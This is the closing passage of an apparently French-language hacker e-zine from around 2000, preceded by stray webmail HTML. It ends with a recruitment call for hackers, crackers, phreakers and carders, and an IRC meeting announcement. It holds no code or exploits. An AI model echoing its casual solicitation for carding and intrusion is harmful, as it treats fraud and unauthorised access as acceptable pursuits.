http://imgsrv.caramail.com/images/cara5.gif" WIDTH=98 HEIGHT=62 BORDER=0
ALIGN=bottom></A></P>
</TD>
</TR>
<TR BGCOLOR="
#000000"><TD ALIGN=center VALIGN=top COLSPAN=6 WIDTH=318>
<P> </P>
</TD>
<TD VALIGN=top WIDTH=152>
<P><A HREF="
/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="
http://imgsrv.caramail.com/images/lien_creation.gif" WIDTH=144 HEIGHT=20 BORDER=0
ALIGN=bottom></A><BR>
<IMG SRC="
http://imgsrv.caramail.com/images/vide.gif" WIDTH=10 HEIGHT=10 ALIGN=bottom>
</P>
</TD>
</TR>
<TR BGCOLOR="
#000000">
<TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="
#000040">
<P><FONT SIZE="
-2" FACE="Arial,Helvetica" COLOR="#FFFFFF">®Tous
droits réservés 2000</FONT></P>
</TD>
<TD VALIGN=top WIDTH=76>
<P> </P>
</TD>
<TD ALIGN=center VALIGN=top COLSPAN=5 WIDTH=242>
<P><FONT SIZE="
-2" FACE="Arial,Helvetica" COLOR="#FFFFFF">Dialogue
en direct :

  
<B>8605</B> connectés<BR>
CaraPlazza : <B>2493</B> articles en vente</FONT></P>
</TD>
<TD ALIGN=center VALIGN=top WIDTH=152>
<P> </P>
</TD>
</TR>
<TR BGCOLOR="#FFF0C0">
<TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="#FFCC00">
<P><IMG SRC="http://imgsrv.caramail.com/images/spray_little.gif" WIDTH=132 HEIGHT=22
ALIGN=bottom></P>
</TD>
<TD VALIGN=top COLSPAN=7 WIDTH=470>
<CENTER><FONT SIZE="-2" FACE="Arial, Helvetica">Spray
Europe: </FONT><A HREF="http://www.spray.net" TARGET="_blank"><FONT SIZE="-2"
FACE="Arial, Helvetica">Allemagne</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
</FONT><A HREF="http://www.spray.fr" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">France</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
</FONT><A HREF="http://www.spray.it" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Italie</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
</FONT><A HREF="http://www.spray.no" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Norvège</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
</FONT><A HREF="http://www.spray.se" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Suède</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
</FONT><A HREF="http://www.seznam.cz" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Rep.
Tchèque</FONT></A></CENTER>
</TD>
</TR>
<TR BGCOLOR="#FFFFFF">
<TD VALIGN=top COLSPAN=8 WIDTH=604>
<P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=5 HEIGHT=5
ALIGN=bottom></P>
</TD>
</TR>
<TR BGCOLOR="#FFFFFF">
<TD ALIGN=center VALIGN=top COLSPAN=8 WIDTH=604>
<P><FONT SIZE="-2" FACE="Arial,Helvetica">Caramail respecte
la </FONT><A HREF="javascript:OpenWin();"><FONT SIZE="-2" FACE="Arial,Helvetica">loi
informatique et libertés de
1978</FONT></A><FONT SIZE="-2" FACE="Arial,Helvetica">.</FONT></P>
</TD>
</TR>
</TABLE>
<INPUT TYPE=hidden NAME=TZ VALUE=0></CENTER>

<P></FORM></P>
</BODY>
</HTML>


)°-\\ Scurt //-°(
^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

ON RECRUTE !!!

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Encore et toujours, le Hacktif Crew recherche du monde, dont notamment :


* des hackers (de préférence hacktifs mdr)

* des paranoïaques aigus experts en cryptographie

* des crackers (des VRAIS)

* des phreakers (RTC, GSM, WAP et bidouilles)

* des carders (pô bien lol)

* des trashers

* des kings sur plateformes UNIX

* des programmeurs (tous les langages possibles)

* des sceners motivés pour écrire des articles

* des Cyber-Commandos pour faire des cyber-missions-suicides ;o)

* des gars qui seraient intéressés par des meets IRC & IRL

* des mécènes pour nous refiler des ordinateurs portables

* quelqu'un pour faire des tee-shirts à nos couleurs





A bon entendeur... ON VOUS ATTEND !!!




~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##








¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

OUTRO

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



C'EST FINI !!!

Le second numéro de APOCALYPSE s'achève ici, en espérant que ça vous a plu.

On vous donne rendez-vous à notre meeting IRC le samedi 2 décembre à partir de 21h00
sur le chan #cyberpunk se trouvant sur Undernet (eu.undernet.org), où l'on essaira de traiter
d'un maximum de sujet comme le hacking, le cracking, le phreaking, le se, le re, la crypto,
ce qu'on appelle maintenat le "spirit" (genre la bananarchie), la programmation, Linux,
les exploits, ainsi que le développement de la Scène française/belge/suisse.

S'il le faut, on créera des chans parallèles, avec un chan réservé à chaque sujet et le
chan #cyberpunk en guise de grand rassemblement.

Voili, rendez-vous le 2 décembre !!!

BYE BYE !!!



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^




#######################################################################
#######################################################################
####### __ __ ____ _____ __ ___ ___ __ _______ #######
####### | | | | / |/ \ | | / | |__|__|/ \ #######
####### | |__| |/ /| | _ \| |/ // \__/ |\___\ #######
####### | | / | | | \___\ / | ____/ | |__ #######
####### | __ | /__| | |_/ / \ | \___| | | #######
####### | | | | | /| |\ \\ / | __| #######
####### |__| |__|__||__|\_____/ |__| \___|\____/|__|\___| #######
####### #######
#######################################################################
#######################################################################

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT